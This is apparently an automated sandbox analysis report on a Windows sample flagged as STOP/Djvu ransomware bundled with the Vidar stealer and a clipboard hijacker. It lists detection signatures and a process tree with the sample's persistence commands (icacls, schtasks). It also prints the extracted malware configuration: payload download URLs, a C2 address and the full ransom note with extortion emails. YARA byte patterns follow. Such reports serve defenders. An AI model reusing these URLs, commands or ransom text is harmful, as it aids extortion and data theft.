Edit tour

Windows Analysis Report
SUwX12D2S6.exe

Overview

General Information

Sample name:	SUwX12D2S6.exe renamed because original name is a hash value
Original sample name:	4b2fb93459b4e03686148d0a1d3c1f00.exe
Analysis ID:	1430890
MD5:	4b2fb93459b4e03686148d0a1d3c1f00
SHA1:	b16c9e43f7389ba51e1423f676cc61d9ec9d4354
SHA256:	200690de2b973c6f7a702d5129dea09aec57d548cab07e19f012e5a8e0c6ae64
Tags:	exeStop
Infos:

Detection

Babuk, Clipboard Hijacker, Djvu, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected Babuk Ransomware

Yara detected Clipboard Hijacker

Yara detected Djvu Ransomware

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SUwX12D2S6.exe (PID: 7260 cmdline: "C:\Users\user\Desktop\SUwX12D2S6.exe" MD5: 4B2FB93459B4E03686148D0A1D3C1F00)

SUwX12D2S6.exe (PID: 7276 cmdline: "C:\Users\user\Desktop\SUwX12D2S6.exe" MD5: 4B2FB93459B4E03686148D0A1D3C1F00)

icacls.exe (PID: 7352 cmdline: icacls "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

SUwX12D2S6.exe (PID: 7376 cmdline: "C:\Users\user\Desktop\SUwX12D2S6.exe" --Admin IsNotAutoStart IsNotTask MD5: 4B2FB93459B4E03686148D0A1D3C1F00)

SUwX12D2S6.exe (PID: 7396 cmdline: "C:\Users\user\Desktop\SUwX12D2S6.exe" --Admin IsNotAutoStart IsNotTask MD5: 4B2FB93459B4E03686148D0A1D3C1F00)

build2.exe (PID: 7584 cmdline: "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe" MD5: A04031208441077A014F42095FF86107)

build2.exe (PID: 7600 cmdline: "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe" MD5: A04031208441077A014F42095FF86107)

build3.exe (PID: 7692 cmdline: "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe" MD5: 41B883A061C95E9B9CB17D4CA50DE770)

build3.exe (PID: 8088 cmdline: "C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe" MD5: 41B883A061C95E9B9CB17D4CA50DE770)

schtasks.exe (PID: 8104 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 8112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SUwX12D2S6.exe (PID: 7460 cmdline: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe --Task MD5: 4B2FB93459B4E03686148D0A1D3C1F00)

SUwX12D2S6.exe (PID: 7488 cmdline: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe --Task MD5: 4B2FB93459B4E03686148D0A1D3C1F00)

SUwX12D2S6.exe (PID: 7772 cmdline: "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart MD5: 4B2FB93459B4E03686148D0A1D3C1F00)

SUwX12D2S6.exe (PID: 7792 cmdline: "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart MD5: 4B2FB93459B4E03686148D0A1D3C1F00)

mstsca.exe (PID: 8148 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 5856 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

schtasks.exe (PID: 3916 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

SUwX12D2S6.exe (PID: 7264 cmdline: "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart MD5: 4B2FB93459B4E03686148D0A1D3C1F00)

SUwX12D2S6.exe (PID: 7252 cmdline: "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart MD5: 4B2FB93459B4E03686148D0A1D3C1F00)

mstsca.exe (PID: 2080 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 6128 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 1984 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 6120 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 6072 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 7876 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 4408 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}

Threatname: Djvu

{"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test2/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0864PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\\\n8S4cMO\\/Bdgsd+jTtFbVs1bX4OXiYKnMXg4LclKMEHJ2gnP2X09BkzA29UJQlagak\\\\nuAL7j7iRagKeU4tAB8w9rziBYoa9zROqer7J6pf5B11vAvvRq4b3127kAxnMhpgo\\\\ns7MQC7pXIvTkEeGySeG+F5fjSMPUoF1\\/cAg6GuSWOPXoPvXKRA\\/mo+xyHVOKZe2+\\\\nSCpbMHAyMe7o4w\\/i\\/pVjv9g8pRDJtz14qtMuAR38ek+SPJ4PJCxA9e0tOi+p4yNn\\\\nvnFKoL5OwzoF+bvVHnTA7tk4fXB3AyaL9llS0kxEWS7x\\/kNYQyJPh9fimryM03Cy\\\\n1wIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000001A.00000002.2348561919.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001A.00000002.2348561919.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001A.00000002.2348561919.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000008.00000002.1966489860.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000B.00000002.1848011665.0000000004483000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000002.3584250955.0000000000890000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001E.00000002.3584250955.0000000000890000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001E.00000002.3584250955.0000000000890000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000001C.00000002.2974032073.0000000000970000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001C.00000002.2974032073.0000000000970000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001C.00000002.2974032073.0000000000970000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000001F.00000002.3583753662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001F.00000002.3583753662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001F.00000002.3583753662.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000014.00000002.4129162040.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000014.00000002.4129162040.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000014.00000002.4129162040.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.1676862648.000000000459B000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000019.00000002.2350347697.0000000000970000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000019.00000002.2350347697.0000000000970000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000019.00000002.2350347697.0000000000970000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000005.00000002.1719190222.0000000004544000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1701561007.000000000442E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000002.1787690913.0000000003560000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000005.00000002.1719252737.0000000005E60000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.1719252737.0000000005E60000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000013.00000002.2019412066.00000000009BC000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x76cc:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000004.00000002.2243904603.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
